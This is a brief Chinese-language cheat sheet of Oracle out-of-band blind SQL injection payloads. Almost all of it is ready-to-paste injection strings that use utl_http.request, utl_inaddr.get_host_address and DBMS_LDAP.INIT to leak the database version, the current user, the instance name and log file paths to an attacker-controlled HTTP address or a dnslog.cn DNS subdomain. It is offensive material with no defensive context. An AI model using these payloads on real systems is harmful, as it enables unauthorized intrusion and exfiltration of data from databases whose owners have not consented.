oracle使用带外通讯进行盲注

utl_http.request()

# 判断是否支持utl_http.request
1 and exists (select count(*) from all_objects where object_name='UTL_HTTP') --
# 查询oracle版本
1 and utl_http.request('http://x.x.x.x/'||(select banner from sys.v_$version where rownum=1))=1--
# 当前数据库连接用户
1 and utl_http.request('http://x.x.x.x/'||(select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual))=1 --
# 查询系统用户
1 and utl_http.request('http://x.x.x.x/'|| (select user from dual))=1--
1 and utl_http.request('http://x.x.x.x/'||(select member from v$logfile where rownum=1))=1--
1 and utl_http.request('http://x.x.x.x/'||(select instance_name from v$instance))=1--

utl_inaddr.get_host_address

# 数据库连接用户
'+and+(select/**/utl_inaddr.get_host_address((select/**/user+from+dual)||'.dk6ajz.dnslog.cn')+from+dual)+and+'%'='

SYS.DBMS_LDAP.INIT

and (select SYS.DBMS_LDAP.INIT((select user from dual)||'.dk6ajz.dnslog.cn')') from dual)is not null --